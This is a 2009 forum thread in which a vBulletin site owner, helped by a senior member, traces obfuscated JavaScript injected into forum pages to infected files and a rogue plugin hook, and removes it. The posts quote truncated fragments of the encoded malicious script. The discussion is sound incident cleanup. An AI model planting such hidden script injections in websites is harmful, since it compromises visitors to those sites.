Go Back   vb.org Archive > vBulletin 3 Discussion > vB3 General Discussions
FAQ Community Calendar Today's Posts Search

Reply
 
Thread Tools Display Modes
  #1  
Old 05-04-2009, 02:20 PM
kejt kejt is offline
 
Join Date: Oct 2008
Posts: 8
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default Question about javascript code

On my site when I go to source code between headinclude and header template is writen this code:
<script language=javascript><!--
(function(N9MNW){var MEhs8='%';var CnJ3=('var,20a,3d,22Sc,72i,70,74En,67ine.....

Do anyone knows what it this and how to delete?
I'm asking because we recently have iframe hack, and I wont to know if this code is also hack.
Reply With Quote
  #2  
Old 05-04-2009, 02:56 PM
Lynne's Avatar
Lynne Lynne is offline
 
Join Date: Sep 2004
Location: California/Idaho
Posts: 41,180
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

It's not default vbulletin code. I'd copy it to a text file and then remove it.
Reply With Quote
  #3  
Old 05-04-2009, 03:07 PM
kejt kejt is offline
 
Join Date: Oct 2008
Posts: 8
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

I would but I cant't find it, because when we upgraded vb i can't any more modify templates. When I want to modify templates this show up:
http://rapidshare.com/files/22910421...lates.png.html
Do you have idea how to fix this?

Thanks
Reply With Quote
  #4  
Old 05-04-2009, 03:43 PM
Lynne's Avatar
Lynne Lynne is offline
 
Join Date: Sep 2004
Location: California/Idaho
Posts: 41,180
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Did you replace all your files with the default vbulletin files? And remove any files that shouldn't be there?
Reply With Quote
  #5  
Old 05-04-2009, 09:44 PM
kejt kejt is offline
 
Join Date: Oct 2008
Posts: 8
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Yes,I did and I find few .html pages that we didn't put there, and I delete them.
But I can't be 100 % sure that there isn't any files that shouldn't be there.
Would be wise to delete vbulletin and upload again?
Reply With Quote
  #6  
Old 05-04-2009, 09:52 PM
Lynne's Avatar
Lynne Lynne is offline
 
Join Date: Sep 2004
Location: California/Idaho
Posts: 41,180
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Did you run the Suspect Files on your site and see what showed up?

I would definitely go through each directory and make sure only the vbulletin files are present - by either replacing the whole directory with a new default one or by manually viewing/replacing all files.
Reply With Quote
  #7  
Old 05-04-2009, 10:58 PM
kejt kejt is offline
 
Join Date: Oct 2008
Posts: 8
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

I run suspect files, and I find over 20 files infected with javascript, and I delete them all.
Now I can modify templates, thank you.
I didn't know that vbulletin have this option.

But on index.php page is still javascript code, I will try to find it.

--------------- Added [DATE]1241541635[/DATE] at [TIME]1241541635[/TIME] ---------------

I search in the templates, and it's not there. I check up all files in home directory, one by one, and delete where were the code, but it still showing up on index.php.

Do you have idea where could it be?

Maybe this helps, infecetd code is showing up on:
index.php
arcade.php
login.php

In source code looks like this:
----------------------------------------------------------------------

<!-- END TEMPLATE: headinclude -->
<title>a</title>
</head><script language=javascript><!--
(function(){var O55='%';var xnB='>76>61>72>20>61>3d>22Sc>72i>70tEngine>22>2cb> 3d>22Version(>29+>22>2c>
6a>3d>22>22>2cu>3dnav>69g>61to>72>2e>75s>65>72>41> 67ent>3bif((>75>2ein>64
>6................................................ ..();
--></script>
<body>
<!-- BEGIN TEMPLATE: header -->
<!-- logo -->
------------------------------------------------------------------------

--------------- Added [DATE]1241554395[/DATE] at [TIME]1241554395[/TIME] ---------------

I find where the problem is. I remove forumhome_complete hook and code isn't there anymore.
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 01:30 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.03601 seconds
  • Memory Usage 2,215KB
  • Queries Executed 13 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (7)post_thanks_box
  • (7)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (7)post_thanks_postbit_info
  • (7)postbit
  • (7)postbit_onlinestatus
  • (7)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete